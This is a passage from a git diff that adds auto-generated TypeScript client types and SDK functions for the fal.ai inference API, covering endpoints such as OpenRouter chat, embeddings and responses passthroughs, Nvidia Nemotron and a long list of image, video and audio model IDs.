filters, ...). Ignored unless enable_web_search is true. + */ + web_search_options?: WebSearchOptions | null + /** + * @description Name of the model to use. Charged based on actual token usage. + * @example google/gemini-3.8-flash + * @example google/gemini-3.7-flash + * @example google/gemini-3.6-flash + * @example google/gemini-3.5-flash + * @example google/gemini-3.5-flash-lite + * @example google/gemini-3.1-flash-lite + * @example google/gemini-2.5-flash + * @example google/gemini-2.5-flash-lite + * @example google/gemini-2.5-pro + * @example google/gemini-3-flash-preview + * @example google/gemini-3.1-pro-preview + * @type string + */ + model: string + /** + * @description System prompt to provide context or instructions to the model + * @example Please look at the videos in order and answer the question. + */ + system_prompt?: string | null + /** + * @description This sets the upper limit for the number of tokens the model can generate in response. It won't produce more than this limit. The maximum value is the context length minus the prompt length. + */ + max_tokens?: number | null +} + +export type UsageInfo786660Ba = { + prompt_tokens_details?: PromptTokensDetails | null + cost: number + completion_tokens?: number | null + /** + * @default 0 + * @type integer | undefined + */ + total_tokens?: number + prompt_tokens?: number | null +} + +export type OutputOpenrouterRouterVideoEnterprise = { + /** + * @description Token usage information + * @example {"cost":0.0005,"completion_tokens":100,"total_tokens":1100,"prompt_tokens":1000} + */ + usage: UsageInfo786660Ba | null + /** + * @description Generated output from video processing + * @example that's the way I look at it and I don't know what you would say. Sooner or later the child gets run over. + * They seem to be too local, too provincial. + * @type string + */ + output: string +} + +export type FalChatEndpoints = { + 'fal-ai/bytedance/seed/v2/mini': { + input: InputFalAiBytedanceSeedV2Mini + output: OutputFalAiBytedanceSeedV2Mini + } + 'fal-ai/video-prompt-generator': { + input: InputFalAiVideoPromptGenerator + output: OutputFalAiVideoPromptGenerator + } + 'mureka/api/generate/lyrics': { + input: InputMurekaApiGenerateLyrics + output: OutputMurekaApiGenerateLyrics + } + 'mureka/api/lyrics/extend': { + input: InputMurekaApiLyricsExtend + output: OutputMurekaApiLyricsExtend + } + 'nvidia/nemotron-3-5-super/text': { + input: InputNvidiaNemotron35SuperText + output: OutputNvidiaNemotron35SuperText + } + 'nvidia/nemotron-3-5-super/video': { + input: InputNvidiaNemotron35SuperVideo + output: OutputNvidiaNemotron35SuperVideo + } + 'nvidia/nemotron-3-5-super/vision': { + input: InputNvidiaNemotron35SuperVision + output: OutputNvidiaNemotron35SuperVision + } + 'nvidia/nemotron-3-nano-omni': { + input: InputNvidiaNemotron3NanoOmni + output: OutputNvidiaNemotron3NanoOmni + } + 'nvidia/nemotron-3-nano-omni/video': { + input: InputNvidiaNemotron3NanoOmniVideo + output: OutputNvidiaNemotron3NanoOmniVideo + } + 'nvidia/nemotron-3-nano-omni/vision': { + input: InputNvidiaNemotron3NanoOmniVision + output: OutputNvidiaNemotron3NanoOmniVision + } + 'openrouter/router': { + input: InputOpenrouterRouter + output: OutputOpenrouterRouter + } + 'openrouter/router/decisions': { + input: InputOpenrouterRouterDecisions + output: OutputOpenrouterRouterDecisions + } + 'openrouter/router/enterprise': { + input: InputOpenrouterRouterEnterprise + output: OutputOpenrouterRouterEnterprise + } + 'openrouter/router/openai/v1/chat/completions': { + /** + * @description OpenAI-format request. This endpoint is an OpenAI-compatible passthrough to OpenRouter's Chat Completions API: the request body follows the OpenAI Chat Completions wire format and is forwarded with minimal normalization (usage accounting is enabled, and when a fal caller id is available, a privacy-preserving hash of it replaces any caller-supplied `user`); the response follows the OpenAI wire format except that `usage`, when returned non-null, is replaced with fal's accounting shape (`prompt_tokens`, `completion_tokens`, `total_tokens`, `cost`, `prompt_tokens_details`; fields may be null). When `stream` is true on a synchronous invocation, the response is delivered as server-sent events instead of a single JSON object. Authoritative behavior, including which fields each model accepts, is defined by OpenRouter's implementation (https://openrouter.ai/docs/api-reference); see also the OpenAI Chat Completions API reference (https://platform.openai.com/docs/api-reference/chat). Any field accepted there is accepted here, subject to the normalization above. Fal also accepts optional `image_urls` (HTTP(S) URLs or base64 image data URLs, up to 16 MiB decoded per inline image). These are appended as native image parts to the final user message, or a new user message if the final item is not a user message; the convenience field is removed upstream. + * @type object + */ + input: InputOpenrouterRouterOpenaiV1ChatCompletions + /** + * @description OpenAI-format response. This endpoint is an OpenAI-compatible passthrough to OpenRouter's Chat Completions API: the request body follows the OpenAI Chat Completions wire format and is forwarded with minimal normalization (usage accounting is enabled, and when a fal caller id is available, a privacy-preserving hash of it replaces any caller-supplied `user`); the response follows the OpenAI wire format except that `usage`, when returned non-null, is replaced with fal's accounting shape (`prompt_tokens`, `completion_tokens`, `total_tokens`, `cost`, `prompt_tokens_details`; fields may be null). When `stream` is true on a synchronous invocation, the response is delivered as server-sent events instead of a single JSON object. Authoritative behavior, including which fields each model accepts, is defined by OpenRouter's implementation (https://openrouter.ai/docs/api-reference); see also the OpenAI Chat Completions API reference (https://platform.openai.com/docs/api-reference/chat). + * @type object + */ + output: OutputOpenrouterRouterOpenaiV1ChatCompletions + } + 'openrouter/router/openai/v1/embeddings': { + /** + * @description OpenAI-format request. This endpoint is an OpenAI-compatible passthrough to OpenRouter's Embeddings API: the request body follows the OpenAI Embeddings wire format and is forwarded with minimal normalization (usage accounting is enabled, and when a fal caller id is available, a privacy-preserving hash of it replaces any caller-supplied `user`); the response follows the OpenAI wire format except that `usage`, when returned non-null, is replaced with fal's accounting shape (`prompt_tokens`, `completion_tokens`, `total_tokens`, `cost`, `prompt_tokens_details`; fields may be null). Authoritative behavior, including which fields each model accepts, is defined by OpenRouter's implementation (https://openrouter.ai/docs/api-reference); see also the OpenAI Embeddings API reference (https://platform.openai.com/docs/api-reference/embeddings). Any field accepted there is accepted here, subject to the normalization above. + * @type object + */ + input: InputOpenrouterRouterOpenaiV1Embeddings + /** + * @description OpenAI-format response. This endpoint is an OpenAI-compatible passthrough to OpenRouter's Embeddings API: the request body follows the OpenAI Embeddings wire format and is forwarded with minimal normalization (usage accounting is enabled, and when a fal caller id is available, a privacy-preserving hash of it replaces any caller-supplied `user`); the response follows the OpenAI wire format except that `usage`, when returned non-null, is replaced with fal's accounting shape (`prompt_tokens`, `completion_tokens`, `total_tokens`, `cost`, `prompt_tokens_details`; fields may be null). Authoritative behavior, including which fields each model accepts, is defined by OpenRouter's implementation (https://openrouter.ai/docs/api-reference); see also the OpenAI Embeddings API reference (https://platform.openai.com/docs/api-reference/embeddings). + * @type object + */ + output: OutputOpenrouterRouterOpenaiV1Embeddings + } + 'openrouter/router/openai/v1/responses': { + /** + * @description OpenAI-format request. This endpoint is an OpenAI-compatible passthrough to OpenRouter's Responses API: the request body follows the OpenAI Responses wire format and is forwarded with minimal normalization (usage accounting is enabled, and when a fal caller id is available, a privacy-preserving hash of it replaces any caller-supplied `user`); the response follows the OpenAI wire format, including the Responses API `usage` token fields (`input_tokens`, `input_tokens_details`, `output_tokens`, `output_tokens_details`, `total_tokens`) plus `cost`, the USD cost used for fal billing; other upstream `usage` fields are not returned. When `stream` is true on a synchronous invocation, the response is delivered as server-sent events instead of a single JSON object. Authoritative behavior, including which fields each model accepts, is defined by OpenRouter's implementation (https://openrouter.ai/docs/api-reference); see also the OpenAI Responses API reference (https://platform.openai.com/docs/api-reference/responses). Any field accepted there is accepted here, subject to the normalization above. Fal also accepts optional `image_urls` (HTTP(S) URLs or base64 image data URLs, up to 16 MiB decoded per inline image). These are appended as native image parts to the final user message, or a new user message if the final item is not a user message; the convenience field is removed upstream. + * @type object + */ + input: InputOpenrouterRouterOpenaiV1Responses + /** + * @description OpenAI-format response. This endpoint is an OpenAI-compatible passthrough to OpenRouter's Responses API: the request body follows the OpenAI Responses wire format and is forwarded with minimal normalization (usage accounting is enabled, and when a fal caller id is available, a privacy-preserving hash of it replaces any caller-supplied `user`); the response follows the OpenAI wire format, including the Responses API `usage` token fields (`input_tokens`, `input_tokens_details`, `output_tokens`, `output_tokens_details`, `total_tokens`) plus `cost`, the USD cost used for fal billing; other upstream `usage` fields are not returned. When `stream` is true on a synchronous invocation, the response is delivered as server-sent events instead of a single JSON object. Authoritative behavior, including which fields each model accepts, is defined by OpenRouter's implementation (https://openrouter.ai/docs/api-reference); see also the OpenAI Responses API reference (https://platform.openai.com/docs/api-reference/responses). + * @type object + */ + output: OutputOpenrouterRouterOpenaiV1Responses + } + 'openrouter/router/video': { + input: InputOpenrouterRouterVideo + output: OutputOpenrouterRouterVideo + } + 'openrouter/router/video/enterprise': { + input: InputOpenrouterRouterVideoEnterprise + output: OutputOpenrouterRouterVideoEnterprise + } +} + +export const falPostEndpointIdEndpointId = { + 'fal-ai/bytedance/seed/v2/mini': 'fal-ai/bytedance/seed/v2/mini', + 'fal-ai/video-prompt-generator': 'fal-ai/video-prompt-generator', + 'mureka/api/generate/lyrics': 'mureka/api/generate/lyrics', + 'mureka/api/lyrics/extend': 'mureka/api/lyrics/extend', + 'nvidia/nemotron-3-5-super/text': 'nvidia/nemotron-3-5-super/text', + 'nvidia/nemotron-3-5-super/video': 'nvidia/nemotron-3-5-super/video', + 'nvidia/nemotron-3-5-super/vision': 'nvidia/nemotron-3-5-super/vision', + 'nvidia/nemotron-3-nano-omni': 'nvidia/nemotron-3-nano-omni', + 'nvidia/nemotron-3-nano-omni/video': 'nvidia/nemotron-3-nano-omni/video', + 'nvidia/nemotron-3-nano-omni/vision': 'nvidia/nemotron-3-nano-omni/vision', + 'openrouter/router': 'openrouter/router', + 'openrouter/router/decisions': 'openrouter/router/decisions', + 'openrouter/router/enterprise': 'openrouter/router/enterprise', + 'openrouter/router/openai/v1/chat/completions': + 'openrouter/router/openai/v1/chat/completions', + 'openrouter/router/openai/v1/embeddings': + 'openrouter/router/openai/v1/embeddings', + 'openrouter/router/openai/v1/responses': + 'openrouter/router/openai/v1/responses', + 'openrouter/router/video': 'openrouter/router/video', + 'openrouter/router/video/enterprise': 'openrouter/router/video/enterprise', +} as const + +export type FalPostEndpointIdEndpointIdKey = + (typeof falPostEndpointIdEndpointId)[keyof typeof falPostEndpointIdEndpointId] + +export type FalPostEndpointIdPath = { + /** + * @description Model raw id. Slashes are path segments: fal-ai/flux/dev is https://queue.fal.run/fal-ai/flux/dev, not fal-ai%2Fflux%2Fdev. x-modelschemas-encode is raw — do not percent-encode this value. + * @type string + */ + endpoint_id: FalPostEndpointIdEndpointIdKey +} + +export type FalPostEndpointIdStatus200 = unknown + +export type FalPostEndpointIdBody = + | InputFalAiBytedanceSeedV2Mini + | InputFalAiVideoPromptGenerator + | InputMurekaApiGenerateLyrics + | InputMurekaApiLyricsExtend + | InputNvidiaNemotron35SuperText + | InputNvidiaNemotron35SuperVideo + | InputNvidiaNemotron35SuperVision + | InputNvidiaNemotron3NanoOmni + | InputNvidiaNemotron3NanoOmniVideo + | InputNvidiaNemotron3NanoOmniVision + | InputOpenrouterRouter + | InputOpenrouterRouterDecisions + | InputOpenrouterRouterEnterprise + | InputOpenrouterRouterOpenaiV1ChatCompletions + | InputOpenrouterRouterOpenaiV1Embeddings + | InputOpenrouterRouterOpenaiV1Responses + | InputOpenrouterRouterVideo + | InputOpenrouterRouterVideoEnterprise + +export type FalPostEndpointIdOptions = { + body: FalPostEndpointIdBody + path: FalPostEndpointIdPath + query?: never + headers?: never +} + +export type FalPostEndpointIdResponses = { + '200': FalPostEndpointIdStatus200 +} + +/** + * @description Union of all possible responses + */ +export type FalPostEndpointIdResponse = FalPostEndpointIdStatus200 + +export const falGetEndpointIdRequestsRequestIdEndpointId = { + 'fal-ai/bytedance/seed/v2/mini': 'fal-ai/bytedance/seed/v2/mini', + 'fal-ai/video-prompt-generator': 'fal-ai/video-prompt-generator', + 'mureka/api/generate/lyrics': 'mureka/api/generate/lyrics', + 'mureka/api/lyrics/extend': 'mureka/api/lyrics/extend', + 'nvidia/nemotron-3-5-super/text': 'nvidia/nemotron-3-5-super/text', + 'nvidia/nemotron-3-5-super/video': 'nvidia/nemotron-3-5-super/video', + 'nvidia/nemotron-3-5-super/vision': 'nvidia/nemotron-3-5-super/vision', + 'nvidia/nemotron-3-nano-omni': 'nvidia/nemotron-3-nano-omni', + 'nvidia/nemotron-3-nano-omni/video': 'nvidia/nemotron-3-nano-omni/video', + 'nvidia/nemotron-3-nano-omni/vision': 'nvidia/nemotron-3-nano-omni/vision', + 'openrouter/router': 'openrouter/router', + 'openrouter/router/decisions': 'openrouter/router/decisions', + 'openrouter/router/enterprise': 'openrouter/router/enterprise', + 'openrouter/router/openai/v1/chat/completions': + 'openrouter/router/openai/v1/chat/completions', + 'openrouter/router/openai/v1/embeddings': + 'openrouter/router/openai/v1/embeddings', + 'openrouter/router/openai/v1/responses': + 'openrouter/router/openai/v1/responses', + 'openrouter/router/video': 'openrouter/router/video', + 'openrouter/router/video/enterprise': 'openrouter/router/video/enterprise', +} as const + +export type FalGetEndpointIdRequestsRequestIdEndpointIdKey = + (typeof falGetEndpointIdRequestsRequestIdEndpointId)[keyof typeof falGetEndpointIdRequestsRequestIdEndpointId] + +export type FalGetEndpointIdRequestsRequestIdPath = { + /** + * @description Model raw id. Slashes are path segments: fal-ai/flux/dev is https://queue.fal.run/fal-ai/flux/dev, not fal-ai%2Fflux%2Fdev. x-modelschemas-encode is raw — do not percent-encode this value. + * @type string + */ + endpoint_id: FalGetEndpointIdRequestsRequestIdEndpointIdKey + request_id: string +} + +export type FalGetEndpointIdRequestsRequestIdStatus200 = + | OutputFalAiBytedanceSeedV2Mini + | OutputFalAiVideoPromptGenerator + | OutputMurekaApiGenerateLyrics + | OutputMurekaApiLyricsExtend + | OutputNvidiaNemotron35SuperText + | OutputNvidiaNemotron35SuperVideo + | OutputNvidiaNemotron35SuperVision + | OutputNvidiaNemotron3NanoOmni + | OutputNvidiaNemotron3NanoOmniVideo + | OutputNvidiaNemotron3NanoOmniVision + | OutputOpenrouterRouter + | OutputOpenrouterRouterDecisions + | OutputOpenrouterRouterEnterprise + | OutputOpenrouterRouterOpenaiV1ChatCompletions + | OutputOpenrouterRouterOpenaiV1Embeddings + | OutputOpenrouterRouterOpenaiV1Responses + | OutputOpenrouterRouterVideo + | OutputOpenrouterRouterVideoEnterprise + +export type FalGetEndpointIdRequestsRequestIdOptions = { + body?: never + path: FalGetEndpointIdRequestsRequestIdPath + query?: never + headers?: never +} + +export type FalGetEndpointIdRequestsRequestIdResponses = { + '200': FalGetEndpointIdRequestsRequestIdStatus200 +} + +/** + * @description Union of all possible responses + */ +export type FalGetEndpointIdRequestsRequestIdResponse = + FalGetEndpointIdRequestsRequestIdStatus200 diff --git a/packages/ai-fal/src/generated/client/sdk.ts b/packages/ai-fal/src/generated/client/sdk.ts new file mode 100644 index 0000000000..01d0c67331 --- /dev/null +++ b/packages/ai-fal/src/generated/client/sdk.ts @@ -0,0 +1,56 @@ +/** + * Generated by Kubb (https://kubb.dev/). + * Do not edit manually. + */ + +import type { + FalGetEndpointIdRequestsRequestIdOptions, + FalGetEndpointIdRequestsRequestIdResponses, + FalPostEndpointIdOptions, + FalPostEndpointIdResponses, +} from './types' +import type { Options, RequestResult } from '@tanstack/ai-utils/kubb' +import { client } from '@tanstack/ai-utils/kubb' + +/** + * @summary Queue a generation + * {@link /:endpoint_id} + */ +export function falPostEndpointId( + options: Options, +): Promise> { + const { client: request = client, ...config } = options + + return request({ + method: 'POST', + url: '/{endpoint_id}', + security: [{ type: 'apiKey', name: 'Authorization', in: 'header' }], + contentType: { request: 'application/json' }, + ...config, + throwOnError: config.throwOnError ?? true, + }) as Promise> +} + +/** + * @summary Fetch a queued request result + * {@link /:endpoint_id/requests/:request_id} + */ +export function falGetEndpointIdRequestsRequestId< + ThrowOnError extends boolean = true, +>( + options: Options, +): Promise< + RequestResult +> { + const { client: request = client, ...config } = options + + return request({ + method: 'GET', + url: '/{endpoint_id}/requests/{request_id}', + security: [{ type: 'apiKey', name: 'Authorization', in: 'header' }], + ...config, + throwOnError: config.throwOnError ?? true, + }) as Promise< + RequestResult + > +} diff --git a/packages/ai-fal/src/generated/client/types.ts b/packages/ai-fal/src/generated/client/types.ts new file mode 100644 index 0000000000..35dd40a7ad --- /dev/null +++ b/packages/ai-fal/src/generated/client/types.ts @@ -0,0 +1,3410 @@ +/** + * Generated by Kubb (https://kubb.dev/). + * Do not edit manually. + */ + +export const falPostEndpointIdEndpointId = { + 'alibaba/happy-horse/image-to-video': 'alibaba/happy-horse/image-to-video', + 'alibaba/happy-horse/reference-to-video': + 'alibaba/happy-horse/reference-to-video', + 'alibaba/happy-horse/text-to-video': 'alibaba/happy-horse/text-to-video', + 'alibaba/happy-horse/v1.1/image-to-video': + 'alibaba/happy-horse/v1.1/image-to-video', + 'alibaba/happy-horse/v1.1/reference-to-video': + 'alibaba/happy-horse/v1.1/reference-to-video', + 'alibaba/happy-horse/v1.1/text-to-video': + 'alibaba/happy-horse/v1.1/text-to-video', + 'alibaba/happy-horse/video-edit': 'alibaba/happy-horse/video-edit', + 'alibaba/qwen-audio-3-tts': 'alibaba/qwen-audio-3-tts', + 'alibaba/qwen-image-3/edit': 'alibaba/qwen-image-3/edit', + 'alibaba/qwen-image-3/text-to-image': 'alibaba/qwen-image-3/text-to-image', + 'alibaba/wan-3.0-prime/image-to-video': + 'alibaba/wan-3.0-prime/image-to-video', + 'alibaba/wan-3.0-prime/reference-to-video': + 'alibaba/wan-3.0-prime/reference-to-video', + 'alibaba/wan-3.0-prime/text-to-video': 'alibaba/wan-3.0-prime/text-to-video', + 'alibaba/wan-3.0/image-to-video': 'alibaba/wan-3.0/image-to-video', + 'alibaba/wan-3.0/reference-to-video': 'alibaba/wan-3.0/reference-to-video', + 'alibaba/wan-3.0/text-to-video': 'alibaba/wan-3.0/text-to-video', + 'argil/avatars/audio-to-video': 'argil/avatars/audio-to-video', + 'argil/avatars/text-to-video': 'argil/avatars/text-to-video', + 'async/tts-pro/v1.0': 'async/tts-pro/v1.0', + 'blackforestlabs/flux-3-max/image-to-video': + 'blackforestlabs/flux-3-max/image-to-video', + 'blackforestlabs/flux-3-max/keyframes-to-video': + 'blackforestlabs/flux-3-max/keyframes-to-video', + 'blackforestlabs/flux-3-max/text-to-video': + 'blackforestlabs/flux-3-max/text-to-video', + 'blackforestlabs/flux-3/draft-enhance': + 'blackforestlabs/flux-3/draft-enhance', + 'blackforestlabs/flux-3/edit-image': 'blackforestlabs/flux-3/edit-image', + 'blackforestlabs/flux-3/edit-video': 'blackforestlabs/flux-3/edit-video', + 'blackforestlabs/flux-3/extend-video': 'blackforestlabs/flux-3/extend-video', + 'blackforestlabs/flux-3/extend-video/draft': + 'blackforestlabs/flux-3/extend-video/draft', + 'blackforestlabs/flux-3/first-last-frame-to-video': + 'blackforestlabs/flux-3/first-last-frame-to-video', + 'blackforestlabs/flux-3/first-last-frame-to-video/draft': + 'blackforestlabs/flux-3/first-last-frame-to-video/draft', + 'blackforestlabs/flux-3/image-to-video': + 'blackforestlabs/flux-3/image-to-video', + 'blackforestlabs/flux-3/image-to-video/draft': + 'blackforestlabs/flux-3/image-to-video/draft', + 'blackforestlabs/flux-3/keyframes-to-video': + 'blackforestlabs/flux-3/keyframes-to-video', + 'blackforestlabs/flux-3/keyframes-to-video/draft': + 'blackforestlabs/flux-3/keyframes-to-video/draft', + 'blackforestlabs/flux-3/klein/base/edit-image/lora': + 'blackforestlabs/flux-3/klein/base/edit-image/lora', + 'blackforestlabs/flux-3/klein/base/text-to-image/lora': + 'blackforestlabs/flux-3/klein/base/text-to-image/lora', + 'blackforestlabs/flux-3/klein/edit-image': + 'blackforestlabs/flux-3/klein/edit-image', + 'blackforestlabs/flux-3/klein/edit-image/lora': + 'blackforestlabs/flux-3/klein/edit-image/lora', + 'blackforestlabs/flux-3/klein/text-to-image': + 'blackforestlabs/flux-3/klein/text-to-image', + 'blackforestlabs/flux-3/klein/text-to-image/lora': + 'blackforestlabs/flux-3/klein/text-to-image/lora', + 'blackforestlabs/flux-3/text-to-image': + 'blackforestlabs/flux-3/text-to-image', + 'blackforestlabs/flux-3/text-to-video': + 'blackforestlabs/flux-3/text-to-video', + 'blackforestlabs/flux-3/text-to-video/draft': + 'blackforestlabs/flux-3/text-to-video/draft', + 'blackforestlabs/flux-video-upscale': 'blackforestlabs/flux-video-upscale', + 'bria/bria_video_eraser/erase/keypoints': + 'bria/bria_video_eraser/erase/keypoints', + 'bria/bria_video_eraser/erase/mask': 'bria/bria_video_eraser/erase/mask', + 'bria/bria_video_eraser/erase/prompt': 'bria/bria_video_eraser/erase/prompt', + 'bria/embed-product': 'bria/embed-product', + 'bria/extract-object': 'bria/extract-object', + 'bria/fibo-2/edit': 'bria/fibo-2/edit', + 'bria/fibo-2/generate': 'bria/fibo-2/generate', + 'bria/fibo-bbq-preview/generate': 'bria/fibo-bbq-preview/generate', + 'bria/fibo-edit-1.5/edit': 'bria/fibo-edit-1.5/edit', + 'bria/fibo-edit-1.5/expand': 'bria/fibo-edit-1.5/expand', + 'bria/fibo-edit-1.5/product-holding': 'bria/fibo-edit-1.5/product-holding', + 'bria/fibo-edit-1.5/virtual-try-on': 'bria/fibo-edit-1.5/virtual-try-on', + 'bria/fibo-edit/add_object_by_text': 'bria/fibo-edit/add_object_by_text', + 'bria/fibo-edit/blend': 'bria/fibo-edit/blend', + 'bria/fibo-edit/colorize': 'bria/fibo-edit/colorize', + 'bria/fibo-edit/edit': 'bria/fibo-edit/edit', + 'bria/fibo-edit/erase_by_text': 'bria/fibo-edit/erase_by_text', + 'bria/fibo-edit/relight': 'bria/fibo-edit/relight', + 'bria/fibo-edit/replace_object_by_text': + 'bria/fibo-edit/replace_object_by_text', + 'bria/fibo-edit/reseason': 'bria/fibo-edit/reseason', + 'bria/fibo-edit/restore': 'bria/fibo-edit/restore', + 'bria/fibo-edit/restyle': 'bria/fibo-edit/restyle', + 'bria/fibo-edit/rewrite_text': 'bria/fibo-edit/rewrite_text', + 'bria/fibo-edit/sketch_to_colored_image': + 'bria/fibo-edit/sketch_to_colored_image', + 'bria/fibo-gen-1.5/text-to-image': 'bria/fibo-gen-1.5/text-to-image', + 'bria/fibo-lite/generate': 'bria/fibo-lite/generate', + 'bria/fibo/generate': 'bria/fibo/generate', + 'bria/genfill/v2': 'bria/genfill/v2', + 'bria/guided-remove-background': 'bria/guided-remove-background', + 'bria/increase-resolution': 'bria/increase-resolution', + 'bria/product-dimensions': 'bria/product-dimensions', + 'bria/replace-background': 'bria/replace-background', + 'bria/upscale/creative': 'bria/upscale/creative', + 'bria/video/background-removal': 'bria/video/background-removal', + 'bria/video/background-removal/green-screen-despill': + 'bria/video/background-removal/green-screen-despill', + 'bria/video/background-removal/realtime': + 'bria/video/background-removal/realtime', + 'bria/video/background-removal/v3': 'bria/video/background-removal/v3', + 'bria/video/erase/keypoints': 'bria/video/erase/keypoints', + 'bria/video/erase/mask': 'bria/video/erase/mask', + 'bria/video/erase/prompt': 'bria/video/erase/prompt', + 'bria/video/increase-resolution': 'bria/video/increase-resolution', + 'bytedance/omnihuman/v2': 'bytedance/omnihuman/v2', + 'bytedance/seed-audio-1.0': 'bytedance/seed-audio-1.0', + 'bytedance/seedance-2.0/fast/image-to-video': + 'bytedance/seedance-2.0/fast/image-to-video', + 'bytedance/seedance-2.0/fast/reference-to-video': + 'bytedance/seedance-2.0/fast/reference-to-video', + 'bytedance/seedance-2.0/fast/text-to-video': + 'bytedance/seedance-2.0/fast/text-to-video', + 'bytedance/seedance-2.0/mini/image-to-video': + 'bytedance/seedance-2.0/mini/image-to-video', + 'bytedance/seedance-2.0/mini/reference-to-video': + 'bytedance/seedance-2.0/mini/reference-to-video', + 'bytedance/seedance-2.0/mini/text-to-video': + 'bytedance/seedance-2.0/mini/text-to-video', + 'bytedance/seedance-2.0/us/image-to-video': + 'bytedance/seedance-2.0/us/image-to-video', + 'bytedance/seedance-2.0/us/reference-to-video': + 'bytedance/seedance-2.0/us/reference-to-video', + 'bytedance/seedance-2.0/us/text-to-video': + 'bytedance/seedance-2.0/us/text-to-video', + 'bytedance/seedance-2.5/us/draft/complete': + 'bytedance/seedance-2.5/us/draft/complete', + 'bytedance/seedance-2.5/us/image-to-video': + 'bytedance/seedance-2.5/us/image-to-video', + 'bytedance/seedance-2.5/us/reference-to-video': + 'bytedance/seedance-2.5/us/reference-to-video', + 'bytedance/seedance-2.5/us/text-to-video': + 'bytedance/seedance-2.5/us/text-to-video', + 'bytedance/seedream/v5/flash/edit': 'bytedance/seedream/v5/flash/edit', + 'bytedance/seedream/v5/flash/layerize': + 'bytedance/seedream/v5/flash/layerize', + 'bytedance/seedream/v5/flash/text-to-image': + 'bytedance/seedream/v5/flash/text-to-image', + 'bytedance/seedream/v5/lite/edit': 'bytedance/seedream/v5/lite/edit', + 'bytedance/seedream/v5/lite/text-to-image': + 'bytedance/seedream/v5/lite/text-to-image', + 'bytedance/seedream/v5/pro/edit': 'bytedance/seedream/v5/pro/edit', + 'bytedance/seedream/v5/pro/layerize': 'bytedance/seedream/v5/pro/layerize', + 'bytedance/seedream/v5/pro/text-to-image': + 'bytedance/seedream/v5/pro/text-to-image', + 'cassetteai/music-generator': 'cassetteai/music-generator', + 'cassetteai/sound-effects-generator': 'cassetteai/sound-effects-generator', + 'cassetteai/video-sound-effects-generator': + 'cassetteai/video-sound-effects-generator', + 'clarityai/crystal-upscaler': 'clarityai/crystal-upscaler', + 'clarityai/crystal-video-upscaler': 'clarityai/crystal-video-upscaler', + 'creatify/boreal': 'creatify/boreal', + 'decart/lucy-2-5/realtime': 'decart/lucy-2-5/realtime', + 'decart/lucy-restyle': 'decart/lucy-restyle', + 'decart/lucy2-vton/realtime': 'decart/lucy2-vton/realtime', + 'elevenlabs/music/v2': 'elevenlabs/music/v2', + 'elevenlabs/music/v2.5': 'elevenlabs/music/v2.5', + 'elevenlabs/sound-effects/v3': 'elevenlabs/sound-effects/v3', + 'elevenlabs/tts/eleven-v4': 'elevenlabs/tts/eleven-v4', + 'elevenlabs/tts/eleven-v4-turbo': 'elevenlabs/tts/eleven-v4-turbo', + 'fal-ai/ace-step': 'fal-ai/ace-step', + 'fal-ai/ace-step/audio-inpaint': 'fal-ai/ace-step/audio-inpaint', + 'fal-ai/ace-step/audio-outpaint': 'fal-ai/ace-step/audio-outpaint', + 'fal-ai/ace-step/audio-to-audio': 'fal-ai/ace-step/audio-to-audio', + 'fal-ai/ace-step/prompt-to-audio': 'fal-ai/ace-step/prompt-to-audio', + 'fal-ai/ai-avatar/multi': 'fal-ai/ai-avatar/multi', + 'fal-ai/ai-avatar/multi-text': 'fal-ai/ai-avatar/multi-text', + 'fal-ai/ai-avatar/single-text': 'fal-ai/ai-avatar/single-text', + 'fal-ai/audio-understanding': 'fal-ai/audio-understanding', + 'fal-ai/aura-sr': 'fal-ai/aura-sr', + 'fal-ai/auto-caption': 'fal-ai/auto-caption', + 'fal-ai/bagel': 'fal-ai/bagel', + 'fal-ai/bagel/edit': 'fal-ai/bagel/edit', + 'fal-ai/ben/v2/image': 'fal-ai/ben/v2/image', + 'fal-ai/ben/v2/video': 'fal-ai/ben/v2/video', + 'fal-ai/birefnet': 'fal-ai/birefnet', + 'fal-ai/birefnet/v2': 'fal-ai/birefnet/v2', + 'fal-ai/birefnet/v2/video': 'fal-ai/birefnet/v2/video', + 'fal-ai/boogu-image': 'fal-ai/boogu-image', + 'fal-ai/boogu-image/edit': 'fal-ai/boogu-image/edit', + 'fal-ai/bria/background/remove': 'fal-ai/bria/background/remove', + 'fal-ai/bria/background/replace': 'fal-ai/bria/background/replace', + 'fal-ai/bria/eraser': 'fal-ai/bria/eraser', + 'fal-ai/bria/expand': 'fal-ai/bria/expand', + 'fal-ai/bria/genfill': 'fal-ai/bria/genfill', + 'fal-ai/bria/product-shot': 'fal-ai/bria/product-shot', + 'fal-ai/bria/reimagine': 'fal-ai/bria/reimagine', + 'fal-ai/bria/text-to-image/base': 'fal-ai/bria/text-to-image/base', + 'fal-ai/bria/text-to-image/fast': 'fal-ai/bria/text-to-image/fast', + 'fal-ai/bria/text-to-image/hd': 'fal-ai/bria/text-to-image/hd', + 'fal-ai/bytedance-upscaler/upscale/video': + 'fal-ai/bytedance-upscaler/upscale/video', + 'fal-ai/bytedance/dreamactor/v2': 'fal-ai/bytedance/dreamactor/v2', + 'fal-ai/bytedance/omnihuman': 'fal-ai/bytedance/omnihuman', + 'fal-ai/bytedance/omnihuman/v1.5': 'fal-ai/bytedance/omnihuman/v1.5', + 'fal-ai/bytedance/seed-speech/tts/v2': 'fal-ai/bytedance/seed-speech/tts/v2', + 'fal-ai/bytedance/seed/v2/mini': 'fal-ai/bytedance/seed/v2/mini', + 'fal-ai/bytedance/seedance/v1.5/pro/image-to-video': + 'fal-ai/bytedance/seedance/v1.5/pro/image-to-video', + 'fal-ai/bytedance/seedance/v1.5/pro/text-to-video': + 'fal-ai/bytedance/seedance/v1.5/pro/text-to-video', + 'fal-ai/bytedance/seedance/v1/pro/fast/image-to-video': + 'fal-ai/bytedance/seedance/v1/pro/fast/image-to-video', + 'fal-ai/bytedance/seedance/v1/pro/fast/text-to-video': + 'fal-ai/bytedance/seedance/v1/pro/fast/text-to-video', + 'fal-ai/bytedance/seedance/v1/pro/image-to-video': + 'fal-ai/bytedance/seedance/v1/pro/image-to-video', + 'fal-ai/bytedance/seedance/v1/pro/text-to-video': + 'fal-ai/bytedance/seedance/v1/pro/text-to-video', + 'fal-ai/bytedance/seedream/v4.5/edit': 'fal-ai/bytedance/seedream/v4.5/edit', + 'fal-ai/bytedance/seedream/v4.5/text-to-image': + 'fal-ai/bytedance/seedream/v4.5/text-to-image', + 'fal-ai/bytedance/seedream/v4/edit': 'fal-ai/bytedance/seedream/v4/edit', + 'fal-ai/bytedance/seedream/v4/text-to-image': + 'fal-ai/bytedance/seedream/v4/text-to-image', + 'fal-ai/cat-vton': 'fal-ai/cat-vton', + 'fal-ai/chatterbox/speech-to-speech': 'fal-ai/chatterbox/speech-to-speech', + 